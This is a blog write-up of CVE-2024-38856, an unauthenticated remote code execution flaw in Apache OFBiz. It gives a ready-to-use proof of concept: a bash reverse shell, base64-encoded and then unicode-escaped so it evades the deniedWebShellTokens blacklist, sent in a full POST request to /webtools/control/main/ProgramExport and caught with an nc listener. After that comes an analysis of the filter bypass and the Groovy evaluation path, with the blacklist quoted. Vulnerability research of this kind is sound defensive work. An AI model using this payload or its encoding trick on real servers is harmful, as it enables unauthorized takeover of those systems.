(CVE-2024-38856)ofbiz_12.14_filter绕过到rce

0x01 Vulnerability description

​ In apache ofbiz 12.14, there is remote command execution. Users can use a specific url to bypass filter detection, resulting in unauthorized execution of goorvy code.

0x02 poc

First convert Reverse Shell to a form that can be recognized by java

1
/bin/bash -i >& /dev/tcp/127.0.0.1/8888 0>&1
1
bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEyNy4wLjAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}

Using unicode coding

1
\u0022\u0062\u0061\u0073\u0068\u0020\u002D\u0063\u0020\u007B\u0065\u0063\u0068\u006F\u002C\u004C\u0032\u004A\u0070\u0062\u0069\u0039\u0069\u0059\u0058\u004E\u006F\u0049\u0043\u0031\u0070\u0049\u0044\u0034\u006D\u0049\u0043\u0039\u006B\u005A\u0058\u0059\u0076\u0064\u0047\u004E\u0077\u004C\u007A\u0045\u0079\u004E\u0079\u0034\u0077\u004C\u006A\u0041\u0075\u004D\u0053\u0038\u0034\u004F\u0044\u0067\u0034\u0049\u0044\u0041\u002B\u004A\u006A\u0045\u003D\u007D\u007C\u007B\u0062\u0061\u0073\u0065\u0036\u0034\u002C\u002D\u0064\u007D\u007C\u007B\u0062\u0061\u0073\u0068\u002C\u002D\u0069\u007D\u0022\u002E\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029
1
2
3
4
5
6
7
POST /webtools/control/main/ProgramExport HTTP/1.1
Host: 127.0.0.1:8443
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/x-www-form-urlencoded

groovyProgram=\u0022\u0062\u0061\u0073\u0068\u0020\u002D\u0063\u0020\u007B\u0065\u0063\u0068\u006F\u002C\u004C\u0032\u004A\u0070\u0062\u0069\u0039\u0069\u0059\u0058\u004E\u006F\u0049\u0043\u0031\u0070\u0049\u0044\u0034\u006D\u0049\u0043\u0039\u006B\u005A\u0058\u0059\u0076\u0064\u0047\u004E\u0077\u004C\u007A\u0045\u0079\u004E\u0079\u0034\u0077\u004C\u006A\u0041\u0075\u004D\u0053\u0038\u0034\u004F\u0044\u0067\u0034\u0049\u0044\u0041\u002B\u004A\u006A\u0045\u003D\u007D\u007C\u007B\u0062\u0061\u0073\u0065\u0036\u0034\u002C\u002D\u0064\u007D\u007C\u007B\u0062\u0061\u0073\u0068\u002C\u002D\u0069\u007D\u0022\u002E\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029

Using nc snooping on Linux 8888

1
nc -l 8888

Shell is successfully obtained after the corresponding packet is sent.

0x03 Code analysis

If the url I submitted is control/main/ProgramExport, filter will do the following

org.apache.ofbiz.webapp.control.ControlFilter

1
2
3
4
5
6
7
8
9
10
11
12
try {
String url = new URI(((HttpServletRequest) request).getRequestURL().toString())
.normalize().toString()
.replaceAll(";", "")
.replaceAll("(?i)%2e", "");
if (!((HttpServletRequest) request).getRequestURL().toString().equals(url)) {
Debug.logError("For security reason this URL is not accepted", module);
throw new RuntimeException("For security reason this URL is not accepted");
}
} catch (URISyntaxException e) {
throw new RuntimeException(e);
}

You can see in lines 137-148 that this is a fix for (CVE-2024-32113) Path traversal leading to RCE.

1
2
3
4
5
6
7
8
9
10
11
while (!allowedPaths.contains(requestUri.substring(0, offset))) {//  allowedPaths  “/control/main”
offset = requestUri.indexOf("/", offset + 1);
if (offset == -1) {
if (allowedPaths.contains(requestUri)) {
break;
}
// path not allowed
if (redirectPath == null) {
httpResponse.sendError(errorCode, httpRequest.getRequestURI());
} else {
if (redirectPathIsUrl) {

Then look down, line 174 redirectPath and go to the position of “/“ for splicing, and finally get / control/main

1
2
3
4
5
6
7
8
9
                if (Debug.infoOn()) {
Debug.logInfo("[Filtered request]: " + httpRequest.getRequestURI() + " --> " + (redirectPath == null? errorCode: redirectPath), module);
}
return;
}
}
chain.doFilter(request, httpResponse); //Finally, filter intercepts control/main, and finally passes filter detection.
}/control/main
}

Finally, filter is called to check “/ control/main”, but “/ control/main” does not require authentication, so bypass the filter check.。

After a series of processing, come to

org.apache.ofbiz.webapp.control.RequestHandler#doRequest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// workaround if we are in the root webapp
String cname = UtilHttp.getApplicationName(request);

// Grab data from request object to process
String defaultRequestUri = RequestHandler.getRequestUri(request.getPathInfo());

String requestMissingErrorMessage = "Unknown request ["
+ defaultRequestUri
+ "]; this request does not exist or cannot be called directly.";
//... 273
String path = request.getPathInfo();
String requestUri = getRequestUri(path);
String overrideViewUri = getOverrideViewUri(path); // Control/main/ProgramExport gets ProgramExport.
Collection<RequestMap> rmaps = resolveURI(ccfg, request);
if (rmaps.isEmpty()) {
if (throwRequestHandlerExceptionOnMissingLocalRequest) {
throw new RequestHandlerException(requestMissingErrorMessage)

Get the path at line 275 to get the final url, get the ProgramExport, and assign the value to overrideViewUri.

1
2
3
4
//... 742 
String viewName = (UtilValidate.isNotEmpty(overrideViewUri) && (eventReturn == null || "success".equals(eventReturn))) ? overrideViewUri : nextRequestResponse.value; // get viewName (ProgramExport)
renderView(viewName, requestMap.securityExternalView, request, response, saveName);
} else if ("view-last".equals(nextRequestResponse.type)) {

From lines 741 to 743, get the name “view” from overrideViewUri, and then call renderView to render.

/webtools/groovyScripts/entity/ProgramExport.groovy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
//...56 
parameters.groovyProgram = groovyProgram
} else {
groovyProgram = parameters.groovyProgram
}

// Add imports for script.
def importCustomizer = new ImportCustomizer()
importCustomizer.addImport("org.apache.ofbiz.entity.GenericValue")
importCustomizer.addImport("org.apache.ofbiz.entity.model.ModelEntity")
def configuration = new CompilerConfiguration()
configuration.addCompilationCustomizers(importCustomizer)

Binding binding = new Binding()
binding.setVariable("delegator", delegator)
binding.setVariable("recordValues", recordValues)

ClassLoader loader = Thread.currentThread().getContextClassLoader()
def shell = new GroovyShell(loader, binding, configuration)

if (UtilValidate.isNotEmpty(groovyProgram)) {
try {
// Check if a webshell is not uploaded but allow "import"
if (!SecuredUpload.isValidText(groovyProgram, ["import"])) {
logError("================== Not executed for security reason ==================")
request.setAttribute("_ERROR_MESSAGE_", "Not executed for security reason")
return
}
shell.parse(groovyProgram)
shell.evaluate(groovyProgram)
recordValues = shell.getVariable("recordValues")
xmlDoc = GenericValue.makeXmlDocument(recordValues)

Between lines 55 and 80, we can see that the ProgramExport receives the parameter groovyProgram to pass the value. Then call the SecuredUpload.isValidText function to check the blacklist.

org.apache.ofbiz.security.SecuredUpload#isValidText

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
    private static final String MODULE = SecuredUpload.class.getName();
private static final List<String> DENIEDFILEEXTENSIONS = getDeniedFileExtensions();
private static final List<String> DENIEDWEBSHELLTOKENS = getDeniedWebShellTokens();
private static final Integer MAXLINELENGTH = UtilProperties.getPropertyAsInteger("security", "maxLineLength", 10000);

.....

public static boolean isValidText(String content, List<String> allowed) throws IOException {
return content != null ? DENIEDWEBSHELLTOKENS.stream().allMatch(token -> isValid(content, token.toLowerCase(), allowed)) : false;
}
...
770
private static List<String> getDeniedWebShellTokens() {
String deniedTokens = UtilProperties.getPropertyValue("security", "deniedWebShellTokens");
return UtilValidate.isNotEmpty(deniedTokens) ? StringUtil.split(deniedTokens, ",") : new ArrayList<>();
}

Blacklist in DENIEDWEBSHELLTOKENS

framework/security/config/security.properties

1
2
3
4
5
6
7
8
... 238
deniedWebShellTokens=java.,beans,freemarker,<script,javascript,<body,body ,<form,<jsp:,<c:out,taglib,<prefix,<%@ page,<?php,exec(,alert(,\
%eval,@eval,eval(,runtime,import,passthru,shell_exec,assert,str_rot13,system,decode,include,page ,\
chmod,mkdir,fopen,fclose,new file,upload,getfilename,download,getoutputstring,readfile,iframe,object,embed,onload,build,\
python,perl ,/perl,ruby ,/ruby,process,function,class,InputStream,to_server,wget ,static,assign,webappPath,\
ifconfig,route,crontab,netstat,uname ,hostname,iptables,whoami,"cmd",*cmd|,+cmd|,=cmd|,localhost,thread,require,gzdeflate,\
execute,println,calc,touch,calculate

As you can see, it is based on character matching, and we only need to unicode the payload to bypass it.

At this point, the entire exploit is completed.

声明

此文章 仅用于教育目的。请负责任地使用它,并且仅在您有明确测试权限的系统上使用。滥用此 PoC 可能会导致严重后果。


(CVE-2024-38856)ofbiz_12.14_filter绕过到rce
https://unam4.github.io/2024/08/05/CVE-2024-38856-ofbiz-12-14-filter绕过到rce/
作者
unam4
发布于
2024年8月5日
许可协议